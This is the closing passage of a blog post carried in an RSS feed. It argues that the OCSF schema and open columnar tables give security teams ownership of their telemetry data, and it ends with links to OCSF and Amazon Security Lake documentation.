**OCSF restores data ownership to the security engineering team.** By normalizing telemetry into an open schema (OCSF) stored in open columnar tables (Parquet/Iceberg), you decouple your data layer from your compute layer—freeing your team to spend less time fixing broken regex parsers and more time hunting real threats.

## **References & Resources**
- [Official OCSF Schema Browser (schema.ocsf.io)](https://schema.ocsf.io/)
- [OCSF GitHub Organization & Specification](https://github.com/ocsf)
- [Amazon Security Lake & OCSF User Guide](https://docs.aws.amazon.com/security-lake/latest/userguide/what-is-security-lake.html)
]]></content:encoded>
            <enclosure url="https://dbgmy.life/images/blog/ocsf.png" length="0" type="image/png"/>
        </item>
    </channel>
</rss>